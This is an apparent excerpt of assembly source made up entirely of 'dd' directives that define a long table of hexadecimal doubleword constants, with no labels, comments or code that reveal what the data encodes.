dd 1BD395Fh, 0F886B774h, 0EC66F7B2h, 24003E96h, 135EEC21h
dd 16878Ah, 0FA23D52Fh, 36E8A952h, 58787D90h, 0F2549B00h
dd 84A30277h, 0B96D001Fh, 0AE37FB79h, 3B012711h, 2887A2ECh
dd 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch, 9D0065A1h, 429AC8Eh
dd 6A13DAh, 0A662E756h, 0A4D7471Fh, 5FDF2Dh, 0A062C7Bh
dd 15E8EDCBh, 0C6386084h, 0C6647DE0h, 912871Fh, 0B6EBCD07h
dd 0FFCFFBF0h, 243C00F9h, 2E7FDA91h, 4D5CD293h, 3F070089h
dd 0B88B08D5h, 77A41DDFh, 48A680ABh, 0D011AFA3h, 26B9071Fh
dd 8458BB40h, 3768EB5h, 0FF6B8FE5h, 17A0C321h, 743AE247h
dd 78A40009h, 405BC083h, 597AF3h, 558AC203h, 74B81820h
dd 28754Ch, 641C9C08h, 15D8B97h, 0F851A87Ch, 0FC2494E7h
dd 0E0175B46h, 0C0000179h, 0BA5C1347h, 32DD3A0Ah, 88730D83h
dd 8A80ED33h, 8DFE2F44h, 340571Ch, 282D51Fh, 0E0FD8345h
dd 0EEF05D1h, 0BD08778Bh, 68D5200Bh, 0D0978Eh, 0FD9E5E4Ch
dd 0F977C4D9h, 96EC1600h, 0BE41FC55h, 0A0B01ACh, 0D883061Ah
dd 0C087617Dh, 5200148Dh, 2D974489h, 0CB3D6Ch, 696A2188h
dd 0F1FA1612h, 1F4AC800h, 3A7FF95Bh, 97150089h, 748F2E70h
dd 3006860h, 0ED754DF0h, 4A9142h, 0FD2F1AF9h, 627D7E9Bh
dd 420358h, 46204788h, 89B617h, 8551D687h, 18E00BA1h, 5425BA01h
dd 0F3137565h, 0A5E947EDh, 1117060h, 0A2920D42h, 0E8AB54B9h
dd 15FCF141h, 1CC020FCh, 887A1D94h, 84F40F4Fh, 2FCF2BF5h
dd 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh
dd 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah, 671C1100h
dd 0A5BA582Ch, 68500762h, 37D7E344h, 132250BBh, 890020FDh
dd 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h, 0B2622A8Fh
dd 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h, 5B791DA9h
dd 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h, 89660013h
dd 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h, 3E90F8CFh
dd 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh, 4203800Eh
dd 33F7024h, 254FF066h, 138896D5h, 1C004522h, 270520A8h
dd 0FF1455h, 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h
dd 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh, 9055FE78h
dd 7C408825h, 0F2EE0044h, 10C36003h, 4100D5E8h, 7B78F6EAh
dd 77FB0220h
dd 0F8E90033h, 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h
dd 0F826112Fh, 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h
dd 4D9880D7h, 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h
dd 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh, 122373D1h
dd 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h
dd 4A384700h, 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h
dd 4C78346h, 7053AF1h, 820F1A6Dh, 707A4051h, 0BC3C6FD7h
dd 5200791Ch, 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h
dd 85D275h, 0D8FA18F2h, 5408B324h, 1E1718E1h, 40CBFEDBh
dd 0EAE6E297h, 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h
dd 0E108B8BBh, 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h
dd 2BCD0379h, 10EB1ABBh, 6A0683F5h, 0D73529B0h, 5CA5E200h
dd 14F47970h, 2462F6EEh, 0B59428h, 97D103B9h, 4000806Fh
dd 0FA4AEBC7h, 1AC05Dh, 77C33BD9h, 0F23F9220h, 0ECF3CF00h
dd 0F7901773h, 2BD3011Dh, 105D65D0h, 8BBD20B4h, 3A61EB4Ch
dd 201E00C2h, 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h
dd 0A000EEEh, 0B075C985h, 390561Eh, 0D8DBB5F3h, 0A788DECBh
dd 8E12225Dh, 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h
dd 48202CB8h, 0F0950200h, 0E6433C9h, 50A75C3Eh, 0D600394Ch
dd 407E0CE9h, 114CFF02h, 80F0756h, 91F6482Eh, 3737566h
dd 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh
dd 56AB2C8Dh, 0B6E9434Ah, 23028301h, 80C3692Dh, 1932C280h
dd 0BC2042C7h, 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h
dd 0B006DC3Ah, 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h
dd 0F048BA76h, 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h
dd 0BBB3274Ah, 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h
dd 143A7E39h, 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh
dd 0BC6380BFh, 4F52740Fh, 1EA23907h, 8880103Dh, 16971Ah
dd 0C27043B4h, 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch
dd 0B3EA42D3h, 0A44CB421h, 0B12002Ch, 702EDD1h, 0E2B90083h
dd 58694A6Ch, 0C5005F28h, 5D898F5Ch, 7CF9531Fh, 79A000A8h
dd 168E4212h, 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch
dd 6492074Fh, 0C7215400h, 896FD2FFh, 269000ACh, 2481F505h
dd 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh
dd 47B00270h, 9005821h, 6AF8E2E9h, 1616851Fh, 1553C08h
dd 0F2064369h, 0A5EEE012h, 0C9032707h, 0C00687Dh, 0B0F3EC80h
dd 6750022h, 12F3AF8h, 0F0085D7h, 31222F4h, 5CC3FD3Bh
dd 391C4A1Dh, 24CE4043h, 2DD8E83Dh, 3D12EA26h, 47AF4907h
dd 0F1AE0260h, 0C8040054h, 22289121h, 3A00442Fh, 30488A58h
dd 0EA1B8Bh, 3607A133h, 7D162CF1h, 7BEA03FAh, 0B215200h
dd 88F0C464h, 5E4789Dh, 0B1CF71B8h, 8E49C097h, 20009DBh
dd 8078BEFCh, 424412h, 0FE79B7E4h, 387450DAh, 1353126h
dd 9992803Bh, 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h, 41002CC4h
dd 823CB988h, 5C89CC29h, 63000A65h, 0F3E7B0FAh, 680035A4h
dd 0A2AEB5DCh, 0D15ED4h, 8C38600Bh, 56C3E850h, 8600C1E8h
dd 13B9E089h, 8B5B80h, 0FBC28110h, 0A104D614h, 3BDBDF38h
dd 774900D2h, 0E035FFEEh, 40655C4Bh, 45A4AF00h, 0E989619Ah
dd 5A046800h, 0AB505D28h, 87920758h, 872449A6h, 86B25134h
dd 3C71F02Bh, 7B184D07h, 0C11078A4h, 1D1CCC66h, 143EF8h
dd 4ED70889h, 83006C64h, 2F22098h, 112FC53h, 1C2693F4h
dd 0F4E7AA85h, 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h
dd 584A4363h, 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh
dd 0CFAB1875h, 4E405861h, 69C9C8CBh, 3E6A5F00h, 2437C48h
dd 18271E99h, 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h
dd 0AD0343h, 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h
dd 5CC4002Ch, 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h
dd 0C2E8D649h, 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h
dd 8AC2379Ah, 0D305A6A1h, 7048FDCAh, 0F0324C3h, 4AC894F7h
dd 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah
dd 0F076034Eh, 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h
dd 1C80FA2Ch, 7A6E883h, 24E279FAh, 32756600h, 4F84D74Eh
dd 0FFD50097h, 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh
dd 4A7854C1h, 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h
dd 4BA14634h, 2600EB54h, 0C32BA24h, 0EECC0850h, 0F1B207DCh
dd 9464594Fh, 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h
dd 4FC62C28h, 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh
dd 8A0E34h, 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch
dd 0D8C7D8h, 52B1D1ECh, 0E9C34005h, 5300257Ch, 4B22ABC2h
dd 17E7524h, 5A32894Eh, 0E8D0E419h, 297F27A3h, 6AB2F600h
dd 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh
dd 0FB577D5h, 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h
dd 62C6B0CAh, 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh
dd 5710DA60h, 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h
dd 311D892Bh, 2541B9h, 745106A3h, 4E525B03h, 0B293D200h
dd 1A8F73E8h, 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h
dd 9149C48Dh, 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h
dd 9718B059h, 0F47B1EC1h, 83BD872Fh, 4840F18Dh, 0E4ED600Dh
dd 0A35C1403h, 0B988A916h, 56309363h, 0D6970012h, 106A6132h
dd 607C7DB9h, 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh
dd 0CC7AE0D3h, 220A5360h, 11C3E7h, 31642F0h, 41EC1215h
dd 0C76A2300h, 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh
dd 3E4C754Bh, 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h
dd 0A694C125h, 83E002h, 0DC97FC6Dh, 51702CC3h, 69AF000h
dd 0DE813EF4h, 1DE90002h, 29508E25h, 6F00754Fh, 94526796h
dd 3809BD69h, 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh
dd 4D560021h, 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh
dd 5D012005h, 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h
dd 0D4637550h, 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh
dd 53705B86h, 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h
dd 4CF2DCEAh, 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h
dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h
dd 689F300h, 4C418CAFh, 42670075h, 3399CB1Fh, 0C438C2EFh
dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh
dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah
dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h, 0A14A858Dh
dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h, 94327866h
dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh
dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h, 89080700h
dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h, 8BD0CEA3h
dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h
dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h
dd 45C63842h, 0C4F964h, 83028485h, 60D78A89h, 0FE508200h
dd 3C70228Bh, 0E754009Dh
dd 0F0EACE64h, 530075DBh, 0CC88FF17h, 7E38E9E2h, 5E070C5Ah
dd 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh, 0B0F00Ch
dd 25FA453Bh, 5CF00D74h, 406C21Fh, 21A9DAC0h, 168BDFh
dd 50176655h, 19458940h, 0B70FF200h, 33310308h, 0E94300CCh
dd 3A3B0A60h, 741E3546h, 36000E67h, 261F0954h, 0A03F0095h
dd 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h, 755E0D45h
dd 0A9076241h, 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h
dd 270134F3h, 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h
dd 0FBBB6001h, 2481660Bh, 1980FF7Dh, 258A2976h, 0A00074F6h
dd 530DE1FFh, 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh
dd 6A80803Fh, 4E268D0Ah, 4F740008h, 0ED8C03E7h, 7D00E91Eh
dd 3C51AEE0h, 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh
dd 22FEC9B3h, 0BE88565h, 3AFF450h, 7FF64269h, 20E70E32h
dd 3C65BE58h, 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h
dd 0B0D47100h, 8C9D4792h, 3CA4070Ch, 5090A303h, 83D5ECBDh
dd 0AC68501h, 52C77853h, 0F854ECh, 50908603h, 4D07E924h
dd 83376400h, 8A84AD2Ah, 91480543h, 0C09B124Ah, 30413201h
dd 0A8FEA973h, 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch
dd 57004D82h, 3C47E194h, 0CFDC21h, 44D88871h, 0EE39FEC7h
dd 1AE04A30h, 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh
dd 0AA51F527h, 4F42EDh, 0E31224A6h, 0F687477Ch, 10939504h
dd 7C8014BFh, 740A25Ah, 0E802F49Dh, 0F5687791h, 0F856C0DBh
dd 0D31C25FEh, 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h
dd 405D217Eh, 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h
dd 60C48554h, 0D031C4D4h, 873C7E1Bh, 4DAF8190h, 0EE41058h
dd 121760E4h, 0BD90ABCh, 0B68F0882h, 3740EBA0h, 523FD655h
dd 344380A5h, 0FC570DDBh, 867F00A8h, 104512B5h, 0CC03FA91h
dd 0CA73B817h, 6BE000E2h, 1182DE4Ah, 55001F62h, 0A48A3E19h
dd 13399Fh, 0B2EBFB54h, 9CB8C26Ch, 81D40938h, 2978064Fh
dd 58619E11h, 0F3AFC8h, 0F7DC2074h, 4CFDE002h, 54112300h
dd 83D24222h, 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h
dd 8EC7E0FBh, 71F70EB4h, 85E02CF0h, 0E387831Ch, 500002F2h
dd 0FA16E98Ah, 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h
dd 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h, 5D93CA24h, 0E01F1FE4h
dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h
dd 1876B3F6h, 4F07F400h, 8A05C283h, 5F3203F5h, 0FFFA9629h
dd 8625DFB0h, 6A0033FAh, 0F1450B0h, 189F87h, 6F22832Dh
dd 5940EFF7h, 0BC895407h, 0FAB04975h, 0D1C680h, 83740567h
dd 724FBA68h, 0F021D605h, 0F780753Bh, 488063h, 74182D7Bh
dd 0C69F3F3Ch, 8A424B00h, 0D241652Ah, 478100EFh, 17C5625h
dd 6800625Bh, 12F03918h, 1DBDDA1Ch, 0C07FC9A0h, 564767B6h
dd 6A4CFE15h, 340015Bh, 9EC75281h, 772F9CCCh, 0BE053E86h
dd 44CA5900h, 8475F8A7h, 0FC1C400Bh, 0DF3A0953h, 142B080h
dd 743CC23Bh, 226C000Ah, 0F4CF286Eh, 4DE9009Fh, 254013A9h
dd 743AE448h, 0F74A829Dh, 60553899h, 0EB75949h, 611DE1ABh
dd 51889A38h, 790B6603h, 0C88FC743h, 714A610h, 3758E1A5h
dd 0E4069159h, 8EBD4092h, 4D786599h, 0EA058DECh, 0B8E0A02Fh
dd 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh
dd 0DBC04D00h, 7C2FBADCh, 63760022h, 5D50EA53h, 691FC973h
dd 5B1FFC96h, 97B89880h, 1F86D71h, 679D18C2h, 0E0E22D24h
dd 7C7F1CD7h, 0ADD45C04h, 4980CDD8h, 74F45969h, 0A5270379h
dd 8867DD25h, 12D865ABh, 5513B2ECh, 20B8D0E5h, 1797EA00h
dd 0F8A53D23h, 15286728h, 0CCB3DF01h, 484666C4h, 2F55DCh
dd 99C76806h, 0AB6E1597h, 54B34B33h, 89DDD8CBh, 0A36800CFh
dd 0DA90E805h, 0B001E2Dh, 71D3A009h, 78F25274h, 12FEB4h
dd 0E15AE659h, 708EC6Bh, 0C71C6300h, 0BF0244F6h, 0C57284h
dd 0E28CB895h, 573FC9E4h, 13B07E00h, 1541FF4Dh, 7B3C0040h
dd 273B9591h, 7800CB69h, 7EFDDA92h, 90C916h, 0D302D088h
dd 49F3D69Dh, 18000574h, 955B1C36h, 24588496h, 28FFF01h
dd 4E1E2B2Eh, 0C1574740h, 2894200h, 598CF986h, 3FFCFAh
dd 78C89F0Ah, 9A4D1025h, 0FD45140h, 53B05297h, 4009EB60h
dd 3500DE2Ah, 8CEEF992h, 1F5888FDh, 43A63C24h, 2149B11h
dd 0D15298D0h, 8034F03Bh, 0B948A2FFh, 0FFC097Bh, 0E946DADCh
dd 4D000D3h, 0D840FD2h, 39EE0200h, 28ECC336h, 768390F6h
dd 0A350008Fh, 1466D4E2h, 3A00D845h, 0DB138D16h, 39A53EBh
dd 0BBD3FBACh, 7BE0B603h, 3C00E340h, 0AB866711h, 0E27D049h
dd 0CF467107h, 801DE800h, 4D7F0326h, 59C11700h, 62478CD5h
dd 3CD91DB6h, 58CE45D2h, 6F2A8066h, 103BBF86h, 233EAC45h
dd 4B074703h, 0B4C7E825h, 8230014h, 0A9A1F9CFh, 70F50212h
dd 2B2C1CBAh, 881D3706h, 1BAC2040h, 0E3D01h, 265A366Bh
dd 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h, 453055Dh, 0E1D79C4Ch
dd 333E818h, 0A4140800h, 0C415BB86h, 582BF01Dh, 5003835Dh
dd 78AD0364h, 0DEB014EBh, 0F1071EA8h, 1832825Eh, 0C04B050h
dd 4C9F05D3h, 80DE7E75h, 83E9D5BEh, 3A1D7B77h, 308F03C9h
dd 9D14020h, 14266Ah, 48A0AC52h, 2C82B718h, 663DFB98h
dd 8A98009Dh, 0C321C954h, 2B8E2699h, 71780158h, 0C4453561h
dd 0AD001238h, 14EB7F33h, 0B2C4396h, 2F847D18h, 90DDC980h
dd 324C826h, 3F17E3FBh, 0A1575A00h, 50CFFD2h, 83CD3B24h
dd 87D30023h, 0F210D455h, 127D600h, 0B018C0F1h, 24C4070Eh
dd 302814BDh, 40CB439h, 0B376871Dh, 0C884B900h, 17E902h
dd 0A2DD47E8h, 7E82F0BCh, 0B143A300h, 0F37D08E2h, 0FA3D0364h
dd 1EF2FF4Fh, 387FEDF8h, 81430400h, 0BFB31853h, 0BA0250A7h
dd 1EE2003Ch, 93843042h, 0D05C20F4h, 40DE0052h, 2C34E4A1h
dd 0BD8500F8h, 5938C843h, 7A000BFCh, 0C9535F84h, 2E8822h
dd 0B8C10104h, 4E603F10h, 3437BF1Fh, 0C7E50A03h, 6575C8FCh
dd 537D00FFh, 28521BC1h, 90011D45h, 74F685A5h, 55200F5Fh
dd 8B391ED1h, 0E5803AEEh, 0FDC44BAFh, 0F202A6FBh, 3E642C25h
dd 0E018425Ch, 68548Ch, 96F809A4h, 75FF9240h, 18492201h
dd 8E9BF12Fh, 4320C121h, 0C6B055h, 0F4C5E987h, 422B610Ah
dd 0E8408200h, 9A57A34Dh, 517D0332h, 0D444C960h, 0F77E88B0h
dd 3F509600h, 225BA38h, 0A786007Bh, 6C8331C1h, 0F000CD71h
dd 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah, 0A078756Fh
dd 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h, 84233200h
dd 31D016A9h, 96544C9Eh, 4A210075h, 20622464h, 97EA433Ch
dd 18850400h, 0B2557329h, 486A02F3h, 2BF0F449h, 35C5CBE0h
dd 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h, 0BD008018h
dd 2FD73B3Eh, 0E30D72h, 730E1F3Dh, 2ACAC106h, 81FEBECh
dd 87C3F83Ah, 0E8E6E375h, 5E9F8Eh, 0DC102DC0h, 0F61CE881h
dd 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah, 0E60F5053h
dd 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h, 0ECA83EF4h
dd 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch, 5427D2A5h
dd 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h, 88E22A11h
dd 0D9182134h
dd 4C0DD851h, 87493800h, 50A28C91h, 907515h, 8041FAD2h
dd 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh, 5A4D3881h
dd 78832400h, 7400E03Ch, 82801E4Bh, 768F303h, 5615FC99h
dd 8108A023h, 4500503Eh, 27414C6h, 38F6B572h, 3CF069FCh
dd 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch, 5F1F0240h
dd 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h, 7839F602h
dd 6031B849h, 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h
dd 525AB774h, 0D5002367h, 8E037F86h, 5C16EB3Ch, 0DA00CB77h
dd 0C8D0D73h, 0D103DD33h, 7B84CF21h, 9C963B04h, 0E490E58Bh
dd 0C4C5700h, 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh
dd 0AA406982h, 900F4916h, 770A120h, 6B77880Ah, 0C689AC90h
dd 31FC020Eh, 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h
dd 0B6F28AF1h, 66182708h, 784BA077h, 89351209h, 440E0C34h
dd 0DA1C4275h, 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h
dd 0B928C8ECh, 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h
dd 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h, 33135CEAh
dd 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh, 50895294h
dd 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h, 42F05F2Eh
dd 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h
dd 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah
dd 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h, 1D17BD82h
dd 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h
dd 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh, 86EFD81Dh
dd 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh, 2A383988h
dd 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh
dd 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh
dd 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h
dd 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh, 893055FEh
dd 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch
dd 6A513800h, 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h
dd 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah
dd 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h, 65E4C800h
dd 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h
dd 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh, 2C085011h
dd 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h
dd 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h, 28F0B256h
dd 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh, 751C5081h
dd 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h, 1EBB92D4h
dd 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h, 0C4003121h
dd 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h, 5802EA81h
dd 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h, 8A9360E0h
dd 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh, 0A4504824h
dd 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh, 0C0762CB4h
dd 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h, 0EA484097h
dd 0CE223746h, 750058F4h, 196577EEh, 514B011h, 3B398285h
dd 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h, 0CA020061h
dd 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h, 5F8B00AEh
dd 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h, 0B86F110Dh
dd 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh, 7468C075h
dd 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h, 0F35EE26Fh
dd 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh, 7A011A1h
dd 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh, 0CAF23F00h
dd 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h, 3EC510Bh
dd 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h, 0C0FD2FC2h
dd 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh, 0FF22B400h
dd 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh, 91DD9500h
dd 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h, 0E7772200h
dd 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h, 0B500F4EBh
dd 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h, 0D800720Dh
dd 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h, 334CCD38h
dd 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h, 1700FFFAh
dd 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h, 0B152535Ah
dd 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh, 9E060DC9h
dd 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h, 5EF6FB42h
dd 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h, 0F17B00ECh
dd 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h, 2E7142F8h
dd 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h, 7AA1C6B8h
dd 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h, 4A445A6Ch
dd 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h, 0E01A57FCh
dd 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh, 0BBF49Bh
dd 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h, 6753A29h
dd 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h, 0EAD7C0h
dd 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh, 385F00BAh
dd 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h, 0B50ED494h
dd 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h, 0E20E53F8h
dd 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h, 0A03EBC96h
dd 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h, 0C0BBFD85h
dd 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h, 669CDC88h
dd 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh, 0EC62003Ch
dd 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh, 0EF38DB79h
dd 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h, 13AEDCCh
dd 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h, 0B32BAB2Dh
dd 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h, 72656B3Ah
dd 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h, 82EB9A90h
dd 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h, 62126A99h
dd 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah, 9ED4475h
dd 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h, 745F6547h
dd 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h, 78450091h
dd 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh, 0F0106D53h
dd 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h, 0AD8D79h
dd 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h, 0C9113EF4h
